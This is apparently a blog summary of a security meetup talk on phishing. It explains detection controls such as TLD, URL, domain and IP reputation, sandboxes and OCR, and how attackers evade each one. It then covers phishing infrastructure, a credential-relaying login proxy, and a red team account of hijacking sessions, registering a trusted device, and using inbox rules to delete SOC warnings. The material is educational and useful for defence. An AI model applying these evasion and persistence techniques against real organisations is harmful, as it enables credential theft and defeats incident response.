<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="session-2-everything-looks-legit-until-it-doesnt-by-mahadev-gavas">Session 2: "Everything Looks Legit Until It Doesn't" by Mahadev Gavas<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#session-2-everything-looks-legit-until-it-doesnt-by-mahadev-gavas" class="hash-link" aria-label="Direct link to Session 2: &quot;Everything Looks Legit Until It Doesn't&quot; by Mahadev Gavas" title="Direct link to Session 2: &quot;Everything Looks Legit Until It Doesn't&quot; by Mahadev Gavas" translate="no">​</a></h2>
<p>Alright, now this is where the fun begins. If Session 1 was about building the walls, Session 2 is about understanding the people who try to walk right through them - while looking like they belong there.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-is-phishing">What is Phishing?<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#what-is-phishing" class="hash-link" aria-label="Direct link to What is Phishing?" title="Direct link to What is Phishing?" translate="no">​</a></h3>
<ul>
<li class=""><mark>Phishing is a type of attack where an attacker <strong>tricks people into trusting something fake</strong> and getting them to take an action they normally would.</mark></li>
<li class="">Phishing works by <strong>pretending to be something legitimate</strong>, such as:
<ul>
<li class="">A trusted company or brand</li>
<li class="">A colleague, supplier, or manager</li>
<li class="">A login page, cloud service, or internal system</li>
</ul>
</li>
<li class=""><mark>It relies on <strong>abusing human trust and normal behavior.</strong></mark></li>
</ul>
<blockquote>
<p>Think about it - when you receive an email from "HR" asking you to review a new policy document, your first instinct is to click the link, not to check the email headers. That's exactly what phishing exploits: the fact that we trust our daily workflows and the people we interact with.</p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="defense--attack-why-understanding-detection-matters">Defense → Attack: Why Understanding Detection Matters<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#defense--attack-why-understanding-detection-matters" class="hash-link" aria-label="Direct link to Defense → Attack: Why Understanding Detection Matters" title="Direct link to Defense → Attack: Why Understanding Detection Matters" translate="no">​</a></h3>
<p>This part was really interesting. Mahadev made a point that really stuck:</p>
<ul>
<li class=""><mark>Understanding detection is more important than simply performing a phishing attack</mark>, particularly in professional and defensive security engagements.</li>
<li class="">What <strong>separates a serious security professional from a script-kiddie</strong> is knowing:
<ul>
<li class=""><em>Why</em> an email was blocked?</li>
<li class=""><em>Which control</em> caught it?</li>
<li class="">At <em>what stage</em> it was detected?</li>
</ul>
</li>
<li class=""><strong>If you don't understand detection, you're just pressing "send".</strong></li>
</ul>
<blockquote>
<p>This is a crucial mindset shift. Anyone can clone a website and send a phishing email using a template. But if you don't know <em>why</em> your email got blocked or <em>how</em> the target's email gateway flagged it, you're not doing security - you're doing guesswork. Understanding the defensive side first is what makes you effective on the offensive side.</p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="detection-methods-and-how-attackers-try-to-bypass-them">Detection Methods (and How Attackers Try to Bypass Them)<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#detection-methods-and-how-attackers-try-to-bypass-them" class="hash-link" aria-label="Direct link to Detection Methods (and How Attackers Try to Bypass Them)" title="Direct link to Detection Methods (and How Attackers Try to Bypass Them)" translate="no">​</a></h3>
<p>Now this is where it gets really juicy. Mahadev covered the various detection methods that email security gateways, proxies, and security tools use to catch phishing - and by extension, what an attacker needs to understand if they want to operate professionally in red team engagements.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-suspicious-tld-top-level-domain">1. Suspicious TLD (Top-Level Domain)<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#1-suspicious-tld-top-level-domain" class="hash-link" aria-label="Direct link to 1. Suspicious TLD (Top-Level Domain)" title="Direct link to 1. Suspicious TLD (Top-Level Domain)" translate="no">​</a></h4>
<ul>
<li class=""><strong>What is it?</strong> <mark>A Top-Level Domain (TLD) is the last part of a domain name - the <code>.com</code>, <code>.org</code>, <code>.in</code> part.</mark> Security tools maintain lists of TLDs that are commonly abused for phishing, such as <code>.xyz</code>, <code>.top</code>, <code>.click</code>, <code>.buzz</code>, <code>.rest</code>, etc. These are cheap to register and frequently used by attackers, so email gateways flag or block emails coming from or linking to these TLDs.</li>
<li class=""><strong>How attackers exploit/bypass it:</strong> They register domains under reputable TLDs like <code>.com</code>, <code>.org</code>, <code>.net</code>, or country-code TLDs like <code>.in</code> to avoid suspicion. Using a legitimate-looking TLD is step one in making a phishing domain blend in.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-signature-detection">2. Signature Detection<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#2-signature-detection" class="hash-link" aria-label="Direct link to 2. Signature Detection" title="Direct link to 2. Signature Detection" translate="no">​</a></h4>
<ul>
<li class=""><strong>What is it?</strong> <mark>Signature-based detection works by matching known malicious patterns - specific strings, hashes of known phishing kits, or recognized malware payloads - against incoming emails and attachments.</mark> If the content matches a known signature, it's blocked immediately.</li>
<li class=""><strong>How attackers exploit/bypass it:</strong> They modify their payloads slightly (changing variable names, recompiling, adding junk data) so the hash changes, or they use custom-built phishing kits that haven't been fingerprinted yet. Polymorphic payloads that change their signature on every delivery are also used.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-url-signature">3. URL Signature<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#3-url-signature" class="hash-link" aria-label="Direct link to 3. URL Signature" title="Direct link to 3. URL Signature" translate="no">​</a></h4>
<ul>
<li class=""><strong>What is it?</strong> <mark>Security tools maintain databases of known malicious URLs. When an email contains a link, the URL is checked against these blocklists.</mark> If it matches a known phishing URL, the email is quarantined or the link is defanged.</li>
<li class=""><strong>How attackers exploit/bypass it:</strong> They use newly registered domains that haven't been reported yet, or they use URL shorteners, redirectors (like open redirects on legitimate sites), or encode URLs to evade exact-match blocklists.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="4-dns-hunting">4. DNS Hunting<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#4-dns-hunting" class="hash-link" aria-label="Direct link to 4. DNS Hunting" title="Direct link to 4. DNS Hunting" translate="no">​</a></h4>
<ul>
<li class=""><strong>What is it?</strong> <mark>DNS hunting involves analyzing the DNS records and registration history of domains used in emails.</mark> Security tools look for newly registered domains (NRDs), domains with suspicious WHOIS info, or domains that resolve to known malicious IP ranges.</li>
<li class=""><strong>How attackers exploit/bypass it:</strong> They "age" their domains by registering them weeks or months before the campaign so they don't trigger NRD alerts. They also set up proper DNS records (MX, SPF, DKIM, DMARC) to look legitimate.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="5-visual-signature">5. Visual Signature<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#5-visual-signature" class="hash-link" aria-label="Direct link to 5. Visual Signature" title="Direct link to 5. Visual Signature" translate="no">​</a></h4>
<ul>
<li class=""><strong>What is it?</strong> <mark>Visual signature detection uses image recognition and template matching to compare the visual appearance of a phishing page or email against known legitimate brands.</mark> If a page looks like a Microsoft login but is hosted on a random domain, it gets flagged.</li>
<li class=""><strong>How attackers exploit/bypass it:</strong> They make subtle changes to the visual layout - altering logos slightly, changing color schemes, or using CSS tricks to make the page look different to automated scanners while still appearing legitimate to a human eye.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="6-url-filtering">6. URL Filtering<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#6-url-filtering" class="hash-link" aria-label="Direct link to 6. URL Filtering" title="Direct link to 6. URL Filtering" translate="no">​</a></h4>
<ul>
<li class=""><strong>What is it?</strong> <mark>URL filtering categorizes and blocks URLs based on their category (e.g., "phishing," "malware," "newly registered") using real-time cloud-based intelligence.</mark> Unlike URL signature (which is exact-match), URL filtering is more dynamic and uses reputation scoring.</li>
<li class=""><strong>How attackers exploit/bypass it:</strong> They host phishing pages on trusted platforms (like Google Sites, Azure Blob Storage, or AWS S3) that are categorized as "Cloud/SaaS" rather than "Malicious." This way the URL inherits the trusted platform's reputation.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="7-tlsssl-fingerprinting">7. TLS/SSL Fingerprinting<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#7-tlsssl-fingerprinting" class="hash-link" aria-label="Direct link to 7. TLS/SSL Fingerprinting" title="Direct link to 7. TLS/SSL Fingerprinting" translate="no">​</a></h4>
<ul>
<li class=""><strong>What is it?</strong> <mark>TLS/SSL fingerprinting analyzes the characteristics of a server's TLS handshake (cipher suites, extensions, certificate details) to identify suspicious or anomalous servers.</mark> A phishing server using a free Let's Encrypt cert with unusual TLS configurations can be flagged.</li>
<li class=""><strong>How attackers exploit/bypass it:</strong> They use proper SSL certificates (even paid ones), configure standard TLS settings, and use CDNs like Cloudflare that normalize TLS fingerprints behind their proxy.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="8-domain-reputation">8. Domain Reputation<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#8-domain-reputation" class="hash-link" aria-label="Direct link to 8. Domain Reputation" title="Direct link to 8. Domain Reputation" translate="no">​</a></h4>
<ul>
<li class=""><strong>What is it?</strong> <mark>Domain reputation is a score assigned to a domain based on its history - how long it's been around, whether it's been associated with spam or malware before, the volume of emails it sends, and whether it has proper email authentication (SPF, DKIM, DMARC).</mark></li>
<li class=""><strong>How attackers exploit/bypass it:</strong> They build up domain reputation over time by sending legitimate-looking emails, setting up proper authentication records, and slowly warming up the domain before launching a campaign. Some attackers even compromise existing high-reputation domains instead of registering new ones.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="9-domain-categorization">9. Domain Categorization<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#9-domain-categorization" class="hash-link" aria-label="Direct link to 9. Domain Categorization" title="Direct link to 9. Domain Categorization" translate="no">​</a></h4>
<ul>
<li class=""><strong>What is it?</strong> <mark>Web proxies and security tools categorize domains (e.g., "Business," "Technology," "Phishing," "Uncategorized"). Uncategorized or newly categorized domains are often blocked or flagged</mark> because legitimate businesses usually have an established category.</li>
<li class=""><strong>How attackers exploit/bypass it:</strong> They submit their phishing domains to categorization services <em>before</em> the campaign, requesting classification as "Business" or "Technology." Or they host content on already-categorized platforms to inherit their category.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="10-ip-reputation">10. IP Reputation<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#10-ip-reputation" class="hash-link" aria-label="Direct link to 10. IP Reputation" title="Direct link to 10. IP Reputation" translate="no">​</a></h4>
<ul>
<li class=""><strong>What is it?</strong> <mark>Similar to domain reputation, IP reputation scores the IP address hosting the phishing infrastructure. IPs associated with spam networks, bulletproof hosting, or known malicious activity are blocklisted.</mark></li>
<li class=""><strong>How attackers exploit/bypass it:</strong> They use clean, reputable IP ranges from major cloud providers (AWS, Azure, GCP), rotate IPs, or use CDNs that mask the origin IP behind a shared, trusted IP pool.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="11-server-location">11. Server Location<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#11-server-location" class="hash-link" aria-label="Direct link to 11. Server Location" title="Direct link to 11. Server Location" translate="no">​</a></h4>
<ul>
<li class=""><strong>What is it?</strong> <mark>Security tools may flag or block content served from certain geographic locations that are commonly associated with malicious activity.</mark> If a "Bank of India" login page is hosted on a server in Eastern Europe, that's a red flag.</li>
<li class=""><strong>How attackers exploit/bypass it:</strong> They host infrastructure in the same geographic region as their target. If targeting an Indian company, they use Indian cloud regions or CDN edge nodes that serve from local points of presence.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="12-ocr-detection">12. OCR Detection<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#12-ocr-detection" class="hash-link" aria-label="Direct link to 12. OCR Detection" title="Direct link to 12. OCR Detection" translate="no">​</a></h4>
<ul>
<li class=""><strong>What is it?</strong> <mark>OCR (Optical Character Recognition) detection scans images embedded in emails for text. Attackers sometimes embed phishing content as images to bypass text-based filters</mark> - but OCR-enabled security tools can "read" those images and detect malicious text within them.</li>
<li class=""><strong>How attackers exploit/bypass it:</strong> They use visual obfuscation techniques - slightly distorting text in images, using unusual fonts, adding noise/watermarks, or splitting text across multiple images so OCR cannot reconstruct the full message.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="13-sandbox-detection">13. Sandbox Detection<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#13-sandbox-detection" class="hash-link" aria-label="Direct link to 13. Sandbox Detection" title="Direct link to 13. Sandbox Detection" translate="no">​</a></h4>
<ul>
<li class=""><strong>What is it?</strong> <mark>Sandboxing involves executing email attachments or opening links in an isolated virtual environment to observe their behavior.</mark> If a payload tries to steal credentials, download malware, or phone home to a C2 server, the sandbox catches it before it reaches the user.</li>
<li class=""><strong>How attackers exploit/bypass it:</strong> They build sandbox-aware payloads that check for signs of a virtual environment (checking MAC addresses, screen resolution, mouse movement, or timing analysis) and only execute the malicious behavior when they detect a real user environment. Some payloads require user interaction (like clicking a specific button or scrolling) that automated sandboxes can't replicate.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="phishing-requirements-what-you-actually-need-to-set-up">Phishing Requirements (What You Actually Need to Set Up)<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#phishing-requirements-what-you-actually-need-to-set-up" class="hash-link" aria-label="Direct link to Phishing Requirements (What You Actually Need to Set Up)" title="Direct link to Phishing Requirements (What You Actually Need to Set Up)" translate="no">​</a></h3>
<p>Now that we've covered how detection works and how people try to get around it, Mahadev broke down what a phishing operation actually requires from an infrastructure standpoint. This is important for red teamers and pentesters who need to set up professional, realistic engagements, and how to prevent the target org from reaching us.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="infrastructure">Infrastructure<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#infrastructure" class="hash-link" aria-label="Direct link to Infrastructure" title="Direct link to Infrastructure" translate="no">​</a></h4>
<ul>
<li class=""><strong>Location:</strong> Host your infrastructure in a geographic region appropriate for your target. Mahadev gives an example that supposedly the org is planning to shift its premises to a different location or open a new branch for e.g. in Dubai, so there are chances that the org has already whitelisted the IPs from that location.</li>
<li class=""><strong>ASN (Autonomous System Number):</strong> <mark>The ASN identifies the network provider. Using a reputable ASN (like a major cloud provider) rather than a sketchy bulletproof hoster makes your infrastructure look legitimate.</mark></li>
<li class=""><strong>Trusted Sites:</strong> The SaaS products that the org uses comes under trusted sites.</li>
<li class=""><strong>Avoid Blacklisted IPs:</strong> Ensure the IPs you use are clean and not on any blocklists.</li>
<li class=""><strong>Compromised SMTP:</strong> Some attackers use compromised legitimate SMTP servers to send emails - inheriting the sender's existing reputation.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="domain">Domain<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#domain" class="hash-link" aria-label="Direct link to Domain" title="Direct link to Domain" translate="no">​</a></h4>
<ul>
<li class=""><strong>Right Domain:</strong> Choose a domain that looks relevant and trustworthy for the campaign context.</li>
<li class=""><strong>Vendor Impersonation:</strong> Register domains that mimic the target's vendors or partners.</li>
<li class=""><strong>Typosquatting:</strong> <mark>Registering domains that are slight misspellings of legitimate domains (e.g., <code>micosoft.com</code> instead of <code>microsoft.com</code>, <code>googel.com</code> instead of <code>google.com</code>).</mark> Users often don't notice a single character difference.</li>
<li class=""><strong>TLD Change:</strong> Using the right brand name but with a different TLD (e.g., <code>microsoft.org</code> instead of <code>microsoft.com</code>).</li>
<li class=""><strong>Third Party SaaS:</strong> Using legitimate SaaS platforms (Google Forms, Typeform, etc.) to host credential harvesting pages.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="misc">Misc<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#misc" class="hash-link" aria-label="Direct link to Misc" title="Direct link to Misc" translate="no">​</a></h4>
<ul>
<li class=""><strong>SSL Certificate:</strong> Always use HTTPS - users are trained to look for the padlock icon, and security tools flag HTTP-only sites.</li>
<li class=""><strong>WAF (Web Application Firewall):</strong> Placing a WAF or CDN (like Cloudflare) in front of your phishing page to mask the origin server and add a layer of legitimacy.</li>
<li class=""><strong>Website Cloner:</strong> Tools that create pixel-perfect copies of legitimate login pages.</li>
<li class=""><strong>SMTP:</strong> Setting up a properly configured mail server with SPF, DKIM, and DMARC records so emails don't land in spam.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="phishing-templates-in-action">Phishing Templates in Action<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#phishing-templates-in-action" class="hash-link" aria-label="Direct link to Phishing Templates in Action" title="Direct link to Phishing Templates in Action" translate="no">​</a></h3>
<p>Mahadev then showed us two real phishing templates to demonstrate how legitimate these emails can look.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="template-1-azure-cloud-storage-full">Template 1: Azure Cloud Storage Full<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#template-1-azure-cloud-storage-full" class="hash-link" aria-label="Direct link to Template 1: Azure Cloud Storage Full" title="Direct link to Template 1: Azure Cloud Storage Full" translate="no">​</a></h4>
<p>The first template was an email that says something along the lines of <em>"Your Azure Cloud Storage is full, please login to review and manage your files."</em> - a perfectly normal-looking notification that anyone using Azure would expect.</p>
<p>Now here's the interesting part - <mark>the phishing page uses <strong>URL rewriting</strong> (also called a transparent proxy or relay). When the victim enters their credentials on the fake login page, the attacker captures the credentials, and then the page actually logs the user into the <strong>real Microsoft portal</strong> using those same credentials.</mark> From the user's perspective, they typed their password, hit enter, and boom - they're on their actual Azure dashboard. Nothing suspicious happened, right? Wrong. The attacker already has the creds sitting in their logs.</p>
<blockquote>
<p>This is what makes modern phishing so dangerous - the victim never even realizes they were phished because they end up on the legitimate site. No error page, no weird redirect, no "hmm that was strange" moment. Just a smooth, clean login experience - except someone else now has your password.</p>
</blockquote>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="template-2-amazon-voucher--certification-discount">Template 2: Amazon Voucher / Certification Discount<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#template-2-amazon-voucher--certification-discount" class="hash-link" aria-label="Direct link to Template 2: Amazon Voucher / Certification Discount" title="Direct link to Template 2: Amazon Voucher / Certification Discount" translate="no">​</a></h4>
<p>The second template was an <strong>Amazon voucher email</strong>. We've all seen these - sometimes we get mails about certification discounts, reimbursements, gift cards, or "You've won a voucher!" type deals. These are extremely effective in corporate environments because employees are used to receiving benefits, training reimbursements, and discount codes from HR or their organization's learning platforms. You see a <code>₹5000 Amazon Gift Card</code> in your inbox, and your brain goes "nice!" before it goes "wait, is this legit?"</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="email-authentication-records-spf-dkim-dmarc-and-how-attackers-exploit-them">Email Authentication Records: SPF, DKIM, DMARC (and How Attackers Exploit Them)<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#email-authentication-records-spf-dkim-dmarc-and-how-attackers-exploit-them" class="hash-link" aria-label="Direct link to Email Authentication Records: SPF, DKIM, DMARC (and How Attackers Exploit Them)" title="Direct link to Email Authentication Records: SPF, DKIM, DMARC (and How Attackers Exploit Them)" translate="no">​</a></h3>
<p>Before we get into the tooling and the war story, let's quickly cover the email authentication mechanisms that defenders rely on and attackers need to understand (or abuse).</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="spf-sender-policy-framework">SPF (Sender Policy Framework)<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#spf-sender-policy-framework" class="hash-link" aria-label="Direct link to SPF (Sender Policy Framework)" title="Direct link to SPF (Sender Policy Framework)" translate="no">​</a></h4>
<ul>
<li class=""><strong>What is it?</strong> <mark>SPF is a DNS TXT record that specifies which mail servers (IP addresses) are authorized to send emails on behalf of a domain.</mark> When an email arrives, the receiving server checks if the sender's IP is listed in the domain's SPF record. If not, the email fails SPF validation.</li>
<li class=""><strong>How attackers exploit it:</strong> If SPF is not configured or is set to a soft-fail (<code>~all</code>) instead of a hard-fail (<code>-all</code>), the receiving server may still accept the email - just mark it as suspicious. Attackers also exploit SPF by sending emails from compromised servers that <em>are</em> in the SPF record, or by using domains that have overly permissive SPF records (e.g., <code>include:_spf.google.com</code> which covers all of Google's infrastructure).</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="dkim-domainkeys-identified-mail">DKIM (DomainKeys Identified Mail)<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#dkim-domainkeys-identified-mail" class="hash-link" aria-label="Direct link to DKIM (DomainKeys Identified Mail)" title="Direct link to DKIM (DomainKeys Identified Mail)" translate="no">​</a></h4>
<ul>
<li class=""><strong>What is it?</strong> <mark>DKIM adds a cryptographic signature to outgoing emails. The sending server signs the email with a private key, and the receiving server verifies the signature using the public key published in the sender's DNS records.</mark> This ensures the email hasn't been tampered with in transit.</li>
<li class=""><strong>How attackers exploit it:</strong> If DKIM is not configured, there's no signature to verify - so spoofed emails pass through unchecked. Attackers setting up their own phishing infrastructure will configure DKIM properly on <em>their</em> domain so their phishing emails pass DKIM validation (because DKIM validates that the email came from the domain it claims - and the attacker <em>does</em> own the phishing domain).</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="dmarc-domain-based-message-authentication-reporting--conformance">DMARC (Domain-based Message Authentication, Reporting &amp; Conformance)<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#dmarc-domain-based-message-authentication-reporting--conformance" class="hash-link" aria-label="Direct link to DMARC (Domain-based Message Authentication, Reporting &amp; Conformance)" title="Direct link to DMARC (Domain-based Message Authentication, Reporting &amp; Conformance)" translate="no">​</a></h4>
<ul>
<li class=""><strong>What is it?</strong> <mark>DMARC ties SPF and DKIM together and tells receiving servers what to do when an email fails authentication - <code>none</code> (do nothing, just report), <code>quarantine</code> (send to spam), or <code>reject</code> (drop the email entirely).</mark> It also provides a reporting mechanism so domain owners can see who is sending emails on behalf of their domain.</li>
<li class=""><strong>How attackers exploit it:</strong> Many organizations set their DMARC policy to <code>p=none</code> (monitoring mode) and never move to <code>quarantine</code> or <code>reject</code>. This means even if SPF and DKIM fail, the email still gets delivered. Attackers love this.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="hard-bounce-vs-soft-bounce">Hard Bounce vs Soft Bounce<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#hard-bounce-vs-soft-bounce" class="hash-link" aria-label="Direct link to Hard Bounce vs Soft Bounce" title="Direct link to Hard Bounce vs Soft Bounce" translate="no">​</a></h4>
<ul>
<li class=""><strong>Hard Bounce:</strong> <mark>The email is permanently rejected - the recipient address doesn't exist, the domain is invalid, or the server flat-out refuses the message.</mark> Hard bounces are bad for sender reputation; too many and your sending IP/domain gets blocklisted.</li>
<li class=""><strong>Soft Bounce:</strong> <mark>The email is temporarily rejected - the recipient's mailbox is full, the server is temporarily unavailable, or the message is too large.</mark> The sending server will typically retry delivery.</li>
<li class=""><strong>Why this matters for attackers:</strong> When sending phishing campaigns at scale, attackers monitor bounce rates. Too many hard bounces means their sending infrastructure gets flagged and blacklisted quickly. So they validate email addresses beforehand (using tools like email verification APIs) to minimize bounces and maintain sender reputation for as long as possible.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="real-world-phishing-engagement-a-war-story-from-mahadev">Real-World Phishing Engagement: A War Story from Mahadev<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#real-world-phishing-engagement-a-war-story-from-mahadev" class="hash-link" aria-label="Direct link to Real-World Phishing Engagement: A War Story from Mahadev" title="Direct link to Real-World Phishing Engagement: A War Story from Mahadev" translate="no">​</a></h3>
<p>Now this was the absolute highlight of the session. Mahadev walked us through an actual red team phishing engagement he performed on an organization. This wasn't a hypothetical - this was a real operation, and the way it played out was wild.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-1-initial-credential-harvest">Step 1: Initial Credential Harvest<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#step-1-initial-credential-harvest" class="hash-link" aria-label="Direct link to Step 1: Initial Credential Harvest" title="Direct link to Step 1: Initial Credential Harvest" translate="no">​</a></h4>
<p>They did the usual - set up phishing infrastructure, sent convincing emails, and harvested user credentials. Standard stuff so far. Multiple employees fell for the phish and their credentials were captured.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-2-the-soc-responds">Step 2: The SOC Responds<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#step-2-the-soc-responds" class="hash-link" aria-label="Direct link to Step 2: The SOC Responds" title="Direct link to Step 2: The SOC Responds" translate="no">​</a></h4>
<p>Now here's where it gets interesting. The organization had an active SOC team, and the SOC detected that something was off. <mark>The SOC team sent out a legitimate email to the affected employees saying something like - <em>"You have clicked on a phishing link. Please click here to reset your password immediately."</em></mark></p>
<p>Note - this was a <strong>real email from the actual SOC team</strong>, not an impersonation. The SOC was doing their job. But Mahadev and his team were watching everything unfold in real-time from the compromised accounts, and they had to act fast.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-3-session-hijacking-why-password-resets-dont-always-work">Step 3: Session Hijacking (Why Password Resets Don't Always Work)<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#step-3-session-hijacking-why-password-resets-dont-always-work" class="hash-link" aria-label="Direct link to Step 3: Session Hijacking (Why Password Resets Don't Always Work)" title="Direct link to Step 3: Session Hijacking (Why Password Resets Don't Always Work)" translate="no">​</a></h4>
<p>Here's the thing - <mark>Mahadev's team had already hijacked the user sessions by stealing cookies and tokens. So even if the user resets their password, <strong>the already-active session remains valid.</strong></mark> Logging in and having an active session are two different things. A password reset changes the <em>authentication credential</em>, but it doesn't necessarily invalidate <em>existing sessions</em> that were already authenticated.</p>
<p>Making it worse, this organization was using <strong>old Office 365</strong> - and in older O365 implementations, <mark>resetting the password does <strong>not</strong> automatically log out already signed-in devices.</mark> So Mahadev's team was sitting pretty with full access even after password resets.</p>
<p>On top of that, as soon as they saw the SOC email come in, they quickly <strong>added their device as a trusted device</strong> on the compromised accounts. This meant that even if the user went through a full password reset flow, the attacker's device would remain authorized because it's now "trusted."</p>
<blockquote>
<p>Someone from the audience asked - "If we are hijacking sessions, doesn't the session eventually expire?"</p>
<p>Great question. Mahadev explained the concept of <strong>refresh tokens</strong>. <mark>Most modern authentication systems use short-lived access tokens paired with longer-lived refresh tokens. When the access token expires, the refresh token is used to silently obtain a new one without re-authentication.</mark> If the attacker continuously uses the refresh token before it expires, they can maintain access indefinitely - the session essentially never dies.</p>
<p>However, there are limits. <mark>If the organization is using server-side session management (like PHP or other server-side scripts), the server can enforce absolute session timeouts</mark> - meaning the session will be terminated after a fixed duration regardless of activity. Some systems also terminate sessions based on inactivity or anomalous behavior patterns. But many cloud services like O365 rely heavily on the refresh token model, and if the organization hasn't configured strict token lifetime policies, the attacker stays in.</p>
</blockquote>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-4-scaling-up---targeting-multiple-users">Step 4: Scaling Up - Targeting Multiple Users<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#step-4-scaling-up---targeting-multiple-users" class="hash-link" aria-label="Direct link to Step 4: Scaling Up - Targeting Multiple Users" title="Direct link to Step 4: Scaling Up - Targeting Multiple Users" translate="no">​</a></h4>
<p>Mahadev mentioned that <mark>they don't compromise just one user at a time - they typically target 15-20 users from the organization simultaneously.</mark> Why? Because it helps them:</p>
<ul>
<li class=""><strong>Identify defensive patterns</strong> - how does the SOC respond? How fast do they detect? Do they email users? Do they force logouts? Do they block at the proxy level?</li>
<li class=""><strong>Exploit user behavior</strong> - some users assume it's just a SOC drill or a phishing awareness exercise, so they don't bother resetting their passwords or even reading the SOC's warning email.</li>
</ul>
<p>This multi-user approach gives the red team a much clearer picture of the organization's actual security posture.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-5-deleting-the-socs-warning-emails">Step 5: Deleting the SOC's Warning Emails<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#step-5-deleting-the-socs-warning-emails" class="hash-link" aria-label="Direct link to Step 5: Deleting the SOC's Warning Emails" title="Direct link to Step 5: Deleting the SOC's Warning Emails" translate="no">​</a></h4>
<p>Now this was the really sneaky part. To prevent users from seeing the SOC's password reset emails and actually resetting their passwords, Mahadev's team <mark>created an <strong>inbox rule</strong> in the compromised email accounts.</mark></p>
<p>The rule was simple - if the incoming message contains specific keywords like <code>"RE: Password Reset Request"</code> or <code>"Password Reset Request"</code>, <strong>automatically delete the message.</strong> This way, the SOC keeps sending warnings, but the user never sees them in their inbox.</p>
<p>But wait - the deleted messages were going to the <strong>Trash folder</strong>. A curious user might open their trash and find them. So how did they handle that?</p>
<p>Luckily, the organization was using a <strong>third-party email provider</strong> that had an option to configure auto-deletion timers for trash items. <mark>Mahadev's team turned on <strong>developer mode</strong> in the email settings and reduced the trash auto-delete timer to <strong>1 hour.</strong></mark> So even if a deleted SOC email landed in trash, it would be permanently purged within an hour - long before most users would think to check.</p>
